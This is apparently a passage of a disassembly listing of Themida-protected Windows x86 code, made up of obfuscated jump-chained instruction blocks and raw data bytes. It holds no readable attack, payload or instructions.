		dd 4EC83FFh, 89243C89h,	17E956E7h, 89FFFF78h, 4B9240Ch
		dd 1000000h, 240C8BCAh,	783DE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3E06:				; CODE XREF: Themida_:005944CBj
		mov	esi, 4
		jmp	loc_59BDAC
; ---------------------------------------------------------------------------
		dd 0FF5BDE29h, 1C8B2434h, 4C48124h, 53000000h, 4EC81h
		dd 24890000h, 24048324h, 73E95B04h
		db 2Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3E33:				; CODE XREF: Themida_:005955E7j
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, ecx
		push	ebx
		mov	ebx, 4E3F1ACFh
		add	edi, 4A832B05h
		add	edi, ebx
		jmp	loc_59DBE5
; ---------------------------------------------------------------------------
		db 31h
		dd 0DBCCE9FEh, 248BFFFFh, 0C876624h, 0F591E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A3E66:				; CODE XREF: Themida_:0059BFB8j
		push	ecx
		jmp	loc_598ADE
; ---------------------------------------------------------------------------
		dd 2C24B951h, 0CF890E03h, 0DE81E959h, 0C281FFFFh, 4, 8704C283h
		dd 0E95C2414h, 17EDh, 0E9D02966h, 0FFFF706Bh
; ---------------------------------------------------------------------------


loc_5A3E94:				; CODE XREF: Themida_:00592715j
		popf
		retn
; ---------------------------------------------------------------------------
		dw 0D5E9h
		dd 33FFFEE0h, 895C2434h, 0BEBD242Ch, 2D5DF76Fh,	63785507h
		dd 0B751112Dh, 56E8017Ch, 9926F7BEh, 329CE930h,	29660000h
		dd 31E9243Ch, 8B00002Ch, 0F662424h, 9C2404BBh, 0FEE09BE9h
		dd 0BB68FFh, 3C890000h,	5DAC6824h, 39E95975h, 66FFFF9Eh
		dd 68240C8Bh, 2BDh, 0E9240489h,	0FFFF6A4Dh, 4EC81ACh, 89000000h
		dd 9FB22414h, 4EC81h, 1C890000h, 805CB324h, 7AE917C3h
		dd 0F7FFFFA0h, 0C68146D6h, 20B455D5h, 0D5524A2Dh, 91AE923h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3F2A:				; CODE XREF: Themida_:0059CE40j
		push	5747h
		mov	[esp], edi
		jmp	loc_59980A
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0E055EF81h, 0F93128B1h, 1BE1815Fh, 311A087Bh, 0E9CE31F1h
		dd 0FFFFE913h
; ---------------------------------------------------------------------------


loc_5A3F50:				; CODE XREF: Themida_:0059C8E8j
		pop	esp
		push	1
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_59613B
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 630CE0E1h, 0F1814147h, 42000E5h, 6C9AEB81h, 6DE92F63h
		db 3Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3F83:				; CODE XREF: Themida_:005A5E82j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	ecx, edx
		pop	edx
		and	ecx, 396F0D1Fh
		push	esi
		mov	esi, 0FFFFFFFFh
		sub	ecx, esi
		pop	esi
		jmp	loc_599FE6
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 68241489h, 3535h,	0EA2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A3FB9:				; CODE XREF: Themida_:005959FEj
		pop	esp
		and	ecx, edi
		mov	edi, [esp]
		push	1BAAh
		mov	[esp], edi
		jmp	loc_597A82
; ---------------------------------------------------------------------------
		dd 89241C89h, 4C381E3h,	52000000h, 0A105BFBAh, 0F2814A0Eh
		dd 16C1093Eh, 0F384C281h, 0D301E79Fh, 0FF04DFE9h, 0C7815FFFh
		dd 4, 4C781h, 3C870000h, 1BDFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4006:				; CODE XREF: Themida_:0059E668j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_59A3F6
; ---------------------------------------------------------------------------
		db 1, 0D7h, 5Ah
		dd 0DFE9EF29h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4023:				; CODE XREF: Themida_:00599ECCj
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5A344B
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0EBC006EBh, 0E9DBF608h, 0FFFFC669h, 4EC815Ah, 89000000h
		dd 46B5240Ch, 6B9468h, 241C8900h, 782768h, 2522E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4062:				; CODE XREF: Themida_:00595586j
		pop	ebx
		shl	edi, 5
		sub	edi, 27E6DB5Ch
		add	ecx, 28D4A39h
		add	ecx, 468D4537h
		add	ecx, edi
		push	edi
		mov	edi, 3D6E4EA8h
		sub	edi, 34766C4h
		shr	edi, 6
		jmp	loc_5A03BB
; ---------------------------------------------------------------------------


loc_5A408E:				; CODE XREF: Themida_:00595C26j
		push	esi
		mov	esi, esp
		jmp	loc_598CA7
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 4B924h, 0ED810000h, 62F52EF6h, 0C581CD01h, 62F52EF6h
		dd 8B2434FFh, 0C481240Ch, 4, 0F932E953h, 0C481FFFFh, 4
		dd 8B24048Fh, 89662424h, 2CE92414h, 0D1FFFF9Ch,	0FC18E9EDh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A40DA:				; CODE XREF: Themida_:0059BF45j
		add	ebp, 2BF9622Ch
		add	ebp, ecx
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_596D27
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 51000000h,	0D83B00B9h, 4EC8103h, 89000000h
		dd 8BBF243Ch, 81324F27h, 8F0FCEC7h, 5FF9011Eh, 8104E1C1h
		dd 512072E9h, 0E6BB5302h, 1B6E9FAh, 0EE815BD9h,	45C8060Dh
		dd 60E9CE01h, 5EFFFF8Fh, 0FF5215E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4141:				; CODE XREF: Themida_:0059888Aj
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, edi
		pop	edi
		push	edi
		mov	edi, 6C10232Fh
		push	ebx
		mov	ebx, 620B60C8h
		xor	ebx, 42455560h
		not	ebx
		dec	ebx
		inc	ebx
		add	ebx, 0F7E3F2Ch
		add	edi, ebx
		pop	ebx
		add	ecx, edi
		pop	edi
		push	eax
		jmp	loc_5A54FE
; ---------------------------------------------------------------------------


loc_5A4174:				; CODE XREF: Themida_:005A2740j
		mov	ebx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_59A02E
; ---------------------------------------------------------------------------


loc_5A4183:				; CODE XREF: Themida_:005A22F8j
		push	ebx
		mov	ebx, 4
		sub	ebp, 36D001ADh
		add	ebp, 27C240C2h
		jmp	loc_593DD0
; ---------------------------------------------------------------------------
		dw 53ACh
		dd 80B4B252h, 0D788D2C2h, 8E7C05Ah, 8008EFC0h, 0E78021E7h
		dd 0D9B05022h, 78045D34h, 0FF2013E9h, 0D2F681FFh, 0C142ED0Fh
		dd 0EE8107EEh, 9AFCDFh,	93E9F501h
		db 0F8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A41D3:				; CODE XREF: Themida_:0059EAFAj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A0928
; ---------------------------------------------------------------------------


loc_5A41E1:				; CODE XREF: Themida_:005A19B8j
		mov	eax, 7A3E2694h
		push	edx
		mov	edx, 7CCE5769h
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_59875C
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 0E9000000h, 0FFFFD7BDh, 555002BDh, 5DEE897Eh, 97E9DEF7h
		dd 5FFFFC6h, 3F942C26h,	0ED657F05h, 0D0BE5639h,	12E8B42h
		dd 0B9E95EF0h, 5CFFFF7Fh, 68243489h, 671Bh, 81242489h
		dd 42404h, 348B0000h, 4C48124h,	0E9000000h, 0FFFEFBF5h
		dd 0EA80CAFEh, 5AD088BCh, 0F7E9D800h, 0F7FFFF41h, 1EBF57D1h
		dd 31E33307h, 52515FF9h, 0FFBA7EE9h, 5BBB53FFh,	0E9792528h
		dd 0FFFF7D73h, 814ED6F7h, 0A3EAF9C6h, 2099E9E3h, 34FF0000h
		dd 0E131E924h, 8166FFFEh, 0E9E140F6h, 0FFFFD6D5h, 0B90DEF81h
		dd 0FE017E50h, 0E8C6815Fh, 81780372h, 0A05DA3C6h, 0E9C60168h
		dd 0D8Eh, 0E9C7015Eh, 0FFFF73E3h, 0C181D9F7h, 93CE095Bh
		dd 5659CA89h, 601FB1BEh, 5996E948h, 2489FFFFh, 68FF6824h
		dd 14890000h, 34B6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A42DE:				; CODE XREF: Themida_:005993ADj
		push	edx
		mov	edx, 46EB5797h
		not	edx
		jmp	loc_59BF79
; ---------------------------------------------------------------------------
		db 80h
		dd 0CA0862C1h, 81240C8Bh, 4C4h,	32B0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A42FE:				; CODE XREF: Themida_:00592BFAj
		and	edx, 2ED85DFCh
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_5A5E76
; ---------------------------------------------------------------------------
		dw 74BBh
		dd 0C1695F49h, 0E94307EBh, 0FFFF5425h, 69A868h,	861DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4326:				; CODE XREF: Themida_:005A0C64j
		add	cl, 1
		push	ax
		mov	ah, 0E8h
		xor	cl, ah
		pop	ax
		xor	cl, 0C8h
		add	dh, cl
		mov	ecx, [esp]
		add	esp, 4
		sub	dh, 41h
		jmp	loc_5A084D
; ---------------------------------------------------------------------------


loc_5A4344:				; CODE XREF: Themida_:0059E5C7j
		push	edi
		jmp	loc_592503
; ---------------------------------------------------------------------------
		dw 405h
		dd 5000000h, 4,	2474FF50h, 48F5804h, 48F5C24h, 24248B24h
		dd 0FEF787E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4369:				; CODE XREF: Themida_:005A0836j
		pop	ebx
		jmp	loc_5931D1
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 2E981h, 0C330000h, 240C3124h,	1372E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A4389:				; CODE XREF: Themida_:005A01E7j
		add	ebx, 4
		push	edi
		mov	edi, 5FB47E6Eh
		jmp	loc_59B864
; ---------------------------------------------------------------------------
		dw 8957h
		dd 505650E7h, 0FFE032E9h, 0FDE95BFFh, 81FFFFB8h, 213FDFEEh
		dd 0B3C68174h, 1038E00h, 31C6E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A43BE:				; CODE XREF: Themida_:00592BEFj
		mov	[esp], eax
		jmp	loc_59D271
; ---------------------------------------------------------------------------
		dw 315Dh
		dd 120DE9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A43CE:				; CODE XREF: Themida_:0059718Cj
		add	ebp, 2F181DB7h
		add	edi, 683962F5h
		sub	edi, 46EF38C9h
		add	edi, ebp
		add	edi, 46EF38C9h
		jmp	loc_5A6CAC
; ---------------------------------------------------------------------------
		db 0BEh, 54h, 18h
		dd 814E20CDh, 9A6CB4CEh, 0A5E95133h
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A43FF:				; CODE XREF: Themida_:005A59B8j
		or	edx, 51D17D56h
		neg	edx
		add	edx, 3596B6Ah
		xor	ebx, edx
		jmp	loc_5923D4
; ---------------------------------------------------------------------------
		dd 0DBA9E952h, 8166FFFFh, 66449AF2h, 0E95AD531h, 0FFFFEEF4h
		dd 8587F181h, 0E9315BB7h, 4E1C15Dh, 0BA52D1F7h,	14A748BCh
		dd 8142D2F7h, 4D9405EAh, 0E9D12988h, 0FFFFFB1Eh, 493568h
		dd 240C8900h, 0FFFA7CE9h, 5C9FBAFFh, 0F2816626h, 255B6EC1h
		dd 0F39AEA81h, 6BE9D284h, 89FFFF3Ch, 0BCE95AD5h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4477:				; CODE XREF: Themida_:005A4CF8j
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		pop	esi


loc_5A4482:				; CODE XREF: Themida_:00596FB2j
		push	ebx
		jmp	loc_595469
; ---------------------------------------------------------------------------
		dd 0C15AD089h, 0D0F704E0h, 99CE0C05h, 0C4ED8130h, 159DC63h
		dd 0CB51E9C5h, 0E95CFFFFh, 0FFFEEB97h, 5E5DEF29h, 345EC381h
		dd 0FB014F9Ah, 0F5BAE956h, 3C31FFFEh, 243C3324h, 6624248Bh
		dd 6824048Bh, 567Fh, 68240C89h,	2D8Ch, 0FF4103E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A44D9:				; CODE XREF: Themida_:005A5D56j
		or	edx, edi
		pop	edi
		sub	edx, 0E71F4964h
		push	edi
		mov	edi, edx
		mov	ebx, edi
		jmp	loc_59AA6C
; ---------------------------------------------------------------------------
		dd 0B753EBB6h, 0FFA7E978h, 0C483FFFEh, 1C8B5104h, 0A189E924h
		dd 0EC81FFFFh, 4, 54241489h, 4C2815Ah, 83000000h, 148704C2h
		dd 4055C24h, 2D000000h,	4, 0E9240487h, 0FFFF41A1h
; ---------------------------------------------------------------------------


loc_5A452C:				; CODE XREF: Themida_:00593FEDj
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		movzx	ecx, ax
		jmp	loc_59540E
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FEDA2FE9h, 0CE685AFFh, 89000064h, 0E8B9240Ch, 68357431h
		dd 4412h, 0BF243C89h, 345044E6h, 1407E947h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4562:				; CODE XREF: Themida_:00596E59j
		dec	ecx
		add	ecx, 50CBDD3Ch
		mov	edi, ecx
		pop	ecx
		jmp	loc_594F62
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4ECh, 24048900h, 203DE9h,	0EC83AD00h, 24348904h
		dd 5157E689h, 6346F8B9h, 0C8895053h, 0E3E9C789h, 5FFFFF02h
		dd 5C24048Fh, 0FF496CE9h, 48B66FFh, 8B545324h, 1BE9241Ch
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A45B7:				; CODE XREF: Themida_:00595BFFj
		pop	esi
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_59FB18
; ---------------------------------------------------------------------------
		dd 50A3F581h, 0EB896AD6h, 5D2434FFh, 104C483h, 0FF04245Ch
		dd 1FE92434h, 29FFFFD2h, 243C8BFAh, 4C481h, 0D0310000h
		dd 0FF2104E9h, 0C5815DFFh, 2F3315Bh, 0FF98A7E9h, 0F7F181FFh
		dd 897361C8h, 2434FFCBh, 8B545259h, 0C4812414h,	4, 0FF42F2E9h
		dd 52E789FFh, 1A02E9h, 24348900h, 4EC81h, 8F540000h, 4832404h
		dd 685E0424h, 1620h, 0BD242C89h, 1B0B4157h, 0E904EC83h
		dd 0FFFF739Fh
; ---------------------------------------------------------------------------


loc_5A4648:				; CODE XREF: Themida_:005959F3j
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, 538D148Eh
		add	esi, 5DF3309Ah
		add	esi, ebp
		sub	esi, 5DF3309Ah
		sub	esi, 538D148Eh
		jmp	loc_59F10C
; ---------------------------------------------------------------------------
		dd offset dword_5B8668
		align 4
		dd 0FF5B5AE9h, 7EEC1FFh, 7D89F681h, 0EE8140A6h,	3CA80CECh
		dd 2A36C381h, 0CA687B82h, 0E9000054h, 0FFFF2A47h, 0E93FB652h
		dd 0FFFF2C46h, 66240C89h, 4EC8153h, 0E9000000h,	0FFFF5893h
		dd 0A7E07B8h, 6E3FE960h, 3C33FFFFh, 0FDF8E924h,	405DFFFFh
		dd 0DE1EE952h, 4BFFFFFh, 0E9000000h, 0FFFFF653h, 0C181E189h
		dd 4, 4C181h, 0C870000h, 81595C24h, 495744C3h, 5E95008h
		dd 68000011h, 30D4h, 0E9242C89h, 0FFFFE985h, 68241C89h
		dd 2402h, 81242489h, 42404h, 34FF0000h,	0C4835B24h, 0CDC9E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A471E:				; CODE XREF: Themida_:00595E01j
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5A2230
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 3Dh
		dd 1000804h, 89505FF9h,	405E0h,	0E8830000h, 24048704h
		dd 0F5A9E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4746:				; CODE XREF: Themida_:005A6131j
		push	41C8h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5922A1
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 5E08950h, 4,	8704C083h, 57E92404h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4773:				; CODE XREF: Themida_:0059BDCFj
		mov	[esp], ebx
		mov	ebx, 6E703B0h
		push	edx
		push	ebx
		push	4AA6484Bh
		pop	ebx
		shl	ebx, 6
		add	ebx, 0B42A2480h
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5934D8
; ---------------------------------------------------------------------------
		db 0B7h, 90h, 80h
		dd 0CFFE7DF7h, 0E9D3EF80h, 0FFFEDFBCh
; ---------------------------------------------------------------------------


loc_5A47A8:				; CODE XREF: Themida_:005A07A4j
		mov	ebx, 0B5A00B6h
		mov	esi, 188431CEh
		add	esi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 743C3B2Fh
		xor	esi, ebx
		mov	ebx, [esp]
		jmp	loc_59A7BC
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	ebx
		mov	ebx, 4
		mov	edi, ebx
		pop	ebx
		jmp	loc_593157
; ---------------------------------------------------------------------------
		db 89h
		dd 0B9512434h, 233E11D6h, 7EE9CE89h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A47E7:				; CODE XREF: Themida_:0059682Aj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		jmp	loc_597431
; ---------------------------------------------------------------------------


loc_5A47F6:				; CODE XREF: Themida_:005A4D9Cj
		mov	ebp, 10973158h
		mov	ebx, 10973159h
		xor	ebx, ebp
		pop	ebp
		and	eax, ebx
		jmp	loc_59AA80
; ---------------------------------------------------------------------------
aRQO1Zs		db 'Rº',1Bh,'ŸÆo1×Zé',9,'&',0
		align 4


loc_5A4818:				; CODE XREF: Themida_:0059A257j
		not	ecx
		xor	ecx, 0D1E421D7h
		mov	esi, ecx
		pop	ecx
		sub	eax, 58B449ABh
		sub	eax, 6B9B369Bh
		sub	eax, esi
		add	eax, 6B9B369Bh
		push	edx
		mov	edx, 42185730h
		xor	edx, 1AAC1E9Bh
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_59F104
; ---------------------------------------------------------------------------
		dw 0D701h
		dd 667C781h, 0EF815347h, 6C6B3EC2h, 0FF4546E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A485D:				; CODE XREF: Themida_:005A32B6j
		mov	ch, 52h
		mov	al, ch
		pop	ecx
		sub	al, 0E9h
		push	ecx
		mov	cl, 59h
		jmp	loc_59354B
; ---------------------------------------------------------------------------


loc_5A486C:				; CODE XREF: Themida_:0059DAB5j
		mov	esp, [esp]
		push	47E1h
		mov	[esp], eax
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		dd 0FB9EB80h, 8F66C0B6h, 0E5E98704h, 81FFFED6h,	4C7h, 4EF8100h
		dd 87000000h, 0E95C243Ch, 0FFFFE8FDh
; ---------------------------------------------------------------------------


loc_5A48A0:				; CODE XREF: Themida_:00596687j
		pop	esp
		jmp	loc_5981DC
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0BE68240Ch, 8900007Ch, 7FE92434h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A48B7:				; CODE XREF: Themida_:0059BD08j
		mov	[esp], ebx
		push	3351DB92h
		mov	ebx, [esp]
		push	4B17h
		jmp	loc_5A25B6
; ---------------------------------------------------------------------------
		dd 215B86B9h, 0E844E94Fh, 0C201FFFEh, 70D7C281h, 0B8E95423h
		dd 89000014h, 8EB42404h, 80B0E480h, 0CC80FFECh,	8203E9D6h
		dd 0C781FFFFh, 2B6E5E2Bh, 0EF81EF29h, 2B6E5E2Bh, 0E9242C8Bh
		dd 0FFFF06C9h, 0EA88FD88h, 0E5E95B59h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4917:				; CODE XREF: Themida_:00592805j
		mov	ebx, 478F5F50h
		jmp	loc_5969F6
; ---------------------------------------------------------------------------


loc_5A4921:				; CODE XREF: Themida_:0059A069j
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_59739F
; ---------------------------------------------------------------------------
		db 0ACh, 30h, 0D8h
		dd 33E68h, 241C8900h, 36E921B7h, 28FFFFE4h, 5E52E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A494E:				; CODE XREF: Themida_:00599E31j
		pop	dword ptr [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_595C40
; ---------------------------------------------------------------------------
		db 81h
		dd 519BFC6h, 34875858h,	34FF5C24h, 2434FF24h, 0E92434FFh
		dd 0FFFF6BA7h
; ---------------------------------------------------------------------------


loc_5A497C:				; CODE XREF: Themida_:00596F0Dj
		add	ebx, edi
		pop	edi
		jmp	loc_595DFB
; ---------------------------------------------------------------------------
		dd 4B5DEB01h, 656FC381h, 0F3811CA2h, 52A3376Dh,	295BDE89h
		dd 2434FFC6h, 4EC8358h,	0FFF627E9h, 8042DFFh, 7BE92207h
		dd 0FFFFFFCEh, 48B2434h, 97B3E924h, 0F501FFFFh,	6AFFB951h
		dd 1BE97F5Eh, 89FFFF37h, 52E9240Ch, 89000006h, 71E957E2h
		dd 0ADFFFFD0h, 0ACBD5552h, 5229C77Ah, 60C0BB53h, 0B6E94593h
		db 14h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A49EB:				; CODE XREF: Themida_:0059BFC0j
		push	16E3h
		mov	[esp], ebp
		mov	ebp, 1E0D0995h
		or	ebp, 3CBD0E96h
		add	ebp, 25C85C05h
		jmp	loc_5A0286
; ---------------------------------------------------------------------------
		db 1, 0CBh, 59h
		dd 0FF57E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4A11:				; CODE XREF: Themida_:00596937j
		pop	ebp
		add	esp, 4
		push	dword ptr [edi+24h]
		push	7364h
		jmp	loc_5A6C27
; ---------------------------------------------------------------------------
		dw 2C31h
		dd 9D4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4A2A:				; CODE XREF: Themida_:005A357Fj
		add	esp, 4
		shl	ebp, 4
		jmp	loc_59EF6C
; ---------------------------------------------------------------------------
		dd 663B04ACh, 66613968h, 0B1240C89h, 66C828D6h,	1D57E959h
		dd 4CB4FFFFh, 5FE9D4F6h, 0E9FFFF72h, 0FFFED514h, 34FFD000h
		dd 2434FF24h, 0FF0A32E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4A69:				; CODE XREF: Themida_:00593E38j
		shr	esi, 1
		xor	esi, 0D2594586h
		sub	edx, esi
		pop	esi
		sub	ebp, 1CCE7E4Eh
		add	ebp, edx
		sub	esp, 4
		jmp	loc_5A4B3A
; ---------------------------------------------------------------------------
		dd 322EF81h, 1C8B0E0Ah,	4C48124h, 0E9000000h, 0FFFF9EF2h
		dd 0B2241489h, 5AD388CBh, 0F604EBC0h, 48B2E9DBh, 8B66FFFFh
		dd 5450240Ch, 0E924048Bh, 0FFFFFA4Ah, 717467BEh, 5EF3014Eh
		dd 5F2434FFh, 4F2668h, 242C8900h, 0BF57E589h, 4, 835FFD01h
		dd 2C8704C5h, 24248B24h, 3304EB83h, 1C31241Ch, 241C3324h
		dd 0E924248Bh, 0FFFF49C0h, 0BD64F681h, 0F589E490h, 1D08E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4B02:				; CODE XREF: Themida_:0059BA58j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	eax
		mov	eax, 4
		jmp	loc_5A5A82
; ---------------------------------------------------------------------------


loc_5A4B1D:				; CODE XREF: Themida_:005A4B35j
		or	edx, eax
		shl	edx, 1
		jmp	loc_5A1E2F
; ---------------------------------------------------------------------------
		dw 505Eh
		dd 4B8h, 0E58DE900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A4B32:				; CODE XREF: Themida_:00599933j
		and	eax, ecx
		pop	ecx
		jmp	loc_5A4B1D
; ---------------------------------------------------------------------------


loc_5A4B3A:				; CODE XREF: Themida_:005A4A7Fj
		mov	[esp], ecx
		push	edx
		mov	edx, 1CCE7E4Eh
		jmp	loc_594873
; ---------------------------------------------------------------------------


loc_5A4B48:				; CODE XREF: Themida_:0059D1ECj
		pop	ecx
		sub	ebx, 4
		jmp	loc_5A56BE
; ---------------------------------------------------------------------------
		db 66h,	50h, 0B0h
		dd 66C30015h, 8324048Bh, 0C38002C4h, 80C3003Ah,	0EB803AEBh
		dd 2434FF15h, 0E0895058h, 405h,	40500h,	0FF500000h, 58042474h
		dd 8B24048Fh, 0B6522424h, 97C680B0h, 0F68EEE80h, 7EEC0D6h
		dd 0DFF680h, 0E9515AF3h, 0FFFF5FE2h, 0A8E9F428h, 5DFFFF87h
		dd 3524E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4BAE:				; CODE XREF: Themida_:005A566Cj
		push	edi
		mov	edi, 1EAD5F48h
		mov	esi, 0E499899Dh
		jmp	loc_5A212E
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 7E0C004h, 0FF2589E9h, 885059FFh, 4EC81D4h, 89000000h
		dd 0E6882414h, 0E95AF188h, 117Bh
; ---------------------------------------------------------------------------


loc_5A4BE0:				; CODE XREF: Themida_:005A2E06j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_59AEE9
; ---------------------------------------------------------------------------
		dw 0F187h
		dd 57B7BF57h, 0F93140B8h, 36C1815Fh, 1400DCDh, 240C8BCBh
		dd 2194E9h, 63CDBF00h, 0FFE915B1h, 66FFFEDDh, 0D6B353h
		dd 7AFAE9D8h, 559FFFFh,	0D9B7EF17h, 48BC129h, 4C48324h
		dd 0E908E1C1h, 0FFFF056Fh, 81243C8Bh, 4C4h, 0BF685200h
		dd 0FF31F464h, 815A2434h, 4C4h,	0E9D2F700h, 0FFFFC1ACh
; ---------------------------------------------------------------------------


loc_5A4C58:				; CODE XREF: Themida_:0059D096j
		xor	ecx, 2A9D3433h
		xor	esi, ecx
		pop	ecx
		and	esi, 1D354F3Eh
		jmp	loc_59AE0C
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0C48304C4h, 4EC8104h, 89000000h, 0B5E92414h
		dd 57FFFF4Dh, 5F241CF7h, 8106EFC1h, 76CA33F7h, 5FFE0103h
		dd 4EE81h, 34870000h, 4895C24h,	4EC8324h, 0FF3168E9h, 241C33FFh
		dd 33241C31h, 895C241Ch, 0E0892404h, 83B68h, 243C8900h
		dd 4BE4BD55h, 0E8BF13B0h, 8113B04Bh, 467D91EFh,	81EF2961h
		dd 467D91C7h, 0F8015D61h, 0E92434FFh, 0FFFF75E1h
; ---------------------------------------------------------------------------


loc_5A4CE4:				; CODE XREF: Themida_:00596AB5j
		add	[ecx], esi
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5A4477
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6659669Dh, 9C241CD3h, 0FF8E77E9h, 11E781FFh,	832A4577h
		dd 0BA52FFEFh, 6B916280h, 0E95AD729h, 0FFFEF4B0h
; ---------------------------------------------------------------------------


loc_5A4D24:				; CODE XREF: Themida_:0059557Cj
		or	ebx, esi
		jmp	loc_59349C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2B95100h, 0E9000000h, 0FFFF799Eh
; ---------------------------------------------------------------------------


loc_5A4D3C:				; CODE XREF: Themida_:00594BB3j
		push	ebp
		push	edi
		push	769C5D2Dh
		pop	edi
		push	esi
		mov	esi, 2BE11AFCh
		jmp	loc_5A5508
; ---------------------------------------------------------------------------
		db 81h
		dd 0EF739EE9h, 24148B1Eh, 0FF04A6E9h, 815D54FFh, 4C5h
		dd 376CE900h, 0EE81FFFFh, 3911221Dh, 4C4AEE81h,	0ACE94C30h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4D7B:				; CODE XREF: Themida_:00596755j
		pop	ebp
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		push	75E4h
		mov	[esp], ebx
		push	ebp
		jmp	loc_5A47F6
; ---------------------------------------------------------------------------
		db 0BFh, 30h, 1
